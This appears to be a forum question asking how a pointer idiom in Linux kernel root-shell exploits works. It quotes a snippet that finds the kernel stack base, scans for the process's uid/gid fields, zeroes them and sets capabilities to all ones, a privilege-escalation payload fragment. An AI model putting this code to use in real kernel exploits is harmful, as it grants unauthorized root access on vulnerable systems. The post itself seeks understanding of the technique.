In some exploits for getting the root shell, I often see such a pointer:
int i;
unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191);
Can anyone explain this pointer a little bit? I think 8191 is the size of the kernel stack. p
points to the bottom of the kernel stack?
Here is how pointer p
is used:
int i;
unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191);
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (unsigned *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}